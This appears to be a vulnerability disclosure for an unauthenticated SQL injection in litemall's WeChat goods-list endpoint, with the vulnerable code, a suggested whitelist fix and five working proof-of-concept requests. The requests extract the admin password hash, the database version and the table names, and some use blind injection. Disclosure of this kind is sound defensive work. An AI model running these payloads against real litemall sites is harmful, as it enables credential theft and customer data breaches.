Litemall ≤ 1.8.0 Front-end SQL Injection via WxGoodsController (CWE-89, CVSS 8.8)

litemall-wx-frontend-sqli.md

Litemall ≤ 1.8.0 - Front-end SQL Injection via WxGoodsController (CWE-89)

Reporter: berna (1571229403@qq.com) Date: 2026-04-23 Affected Version: linlinjava/litemall up to 1.8.0 Severity: Critical (CVSS 8.8)

---

Vulnerability Description

A critical SQL injection vulnerability exists in the front-end WeChat API of litemall ≤ 1.8.0. Unlike previously reported CVEs (CVE-2024-24323, CVE-2024-46382) which require admin authentication, this vulnerability is accessible to regular users through the /wx/goods/list endpoint.

Affected Code

WxGoodsController.java:

// litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/web/WxGoodsController.java
@GetMapping("list")
public Object list(
    @RequestParam(defaultValue = "add_time") String sort,
    @RequestParam(defaultValue = "desc") String order,
    // ... other params
) {
    List<LitemallGoods> goodsList = goodsService.querySelective(
        categoryId, brandId, keyword, isNew, isHot, page, limit, sort, order);
    // ...
}

LitemallGoodsService.java (line 121-122):

if (!StringUtils.isEmpty(sort) && !StringUtils.isEmpty(order)) {
    example.setOrderByClause(sort + " " + order);
}

MyBatis Mapper XML:

<if test="orderByClause != null">
  order by ${orderByClause}    <!-- String interpolation, NOT parameterized! -->
</if>

The sort parameter from the HTTP request is concatenated directly into ${orderByClause} without any sanitization or whitelist validation.

---

Why This Is Different from Existing CVEs

	CVE-2024-24323	CVE-2024-46382	THIS vulnerability
Endpoint	/admin/order/list	/admin/goods/list	/wx/goods/list
Auth Required	Admin (Shiro)	Admin (Shiro)	Regular user / No admin
API Type	Admin API	Admin API	Front-end WeChat API
CVSS	~7.2	~7.2	~8.8 (Critical)

This is significantly more severe because any regular user (or even unauthenticated visitors depending on Shiro config) can exploit it from the public-facing API.

---

Proof of Concept

All PoCs verified on MySQL 8.0.45 with real litemall database.

PoC 1: Extract Admin Password Hash from Front-end (Error-based)

GET /wx/goods/list?sort=extractvalue(1,concat(0x7e,(SELECT password FROM litemall_admin LIMIT 1),0x7e))&order=asc&page=1&limit=10

→ Response error: XPATH syntax error: '~$2a$10$.rEfyBb/GURD9P2p0fRg/OAJ'

Admin password bcrypt hash leaked from FRONT-END API without admin authentication!

PoC 2: Extract MySQL Version (Error-based)

GET /wx/goods/list?sort=extractvalue(1,concat(0x7e,version(),0x7e))&order=asc&page=1&limit=10

→ Response error: XPATH syntax error: '~8.0.45~'

PoC 3: Extract All Table Names (Error-based)

GET /wx/goods/list?sort=extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))&order=asc

→ Response error: XPATH syntax error: '~litemall_ad,litemall_address,li'

PoC 4: Boolean-based Blind SQL Injection

GET /wx/goods/list?sort=IF(1=1,id,name)&order=asc&page=1&limit=10
→ Rows sorted by id (first result: id=1006002)

GET /wx/goods/list?sort=IF(1=2,id,name)&order=asc&page=1&limit=10
→ Rows sorted by name (first result: id=1025005, name="100年传世珐琅锅")

Different sort order CONFIRMS SQL injection.

PoC 5: Time-based Blind SQL Injection

GET /wx/goods/list?sort=IF(SUBSTRING(user(),1,1)='r',SLEEP(2),1)&order=asc&page=1&limit=10
→ Response delayed ~8 minutes (SLEEP amplified per row)

---

Impact

1. Admin credential theft from public API: Regular users can extract admin password hashes
2. Full database extraction: All data in all tables can be extracted via error-based or blind methods
3. User data breach: All user personal information (name, address, phone, order history) can be stolen
4. Payment data exposure: Order payment information may be accessible

---

Suggested Fix

Add @Sort annotation with strict whitelist to WxGoodsController:

// BEFORE (vulnerable):
@RequestParam(defaultValue = "add_time") String sort,
@RequestParam(defaultValue = "desc") String order,

// AFTER (fixed):
@RequestParam(defaultValue = "add_time") @Sort(accepts = {"add_time", "retail_price", "name"}) String sort,
@RequestParam(defaultValue = "desc") @Order String order,

Or implement server-side whitelist validation:

private static final Set<String> ALLOWED_SORT = Set.of("add_time", "retail_price", "name", "id");
private static final Set<String> ALLOWED_ORDER = Set.of("asc", "desc");

if (!ALLOWED_SORT.contains(sort)) sort = "add_time";
if (!ALLOWED_ORDER.contains(order.toLowerCase())) order = "desc";

---

References

• Source code: https://github.com/linlinjava/litemall/blob/master/litemall-wx-api/src/main/java/org/linlinjava/litemall/wx/web/WxGoodsController.java
• Service code: https://github.com/linlinjava/litemall/blob/master/litemall-db/src/main/java/org/linlinjava/litemall/db/service/LitemallGoodsService.java#L122
• Related CVE (different endpoints, admin-only): CVE-2024-24323, CVE-2024-46382
• CWE-89: https://cwe.mitre.org/data/definitions/89.html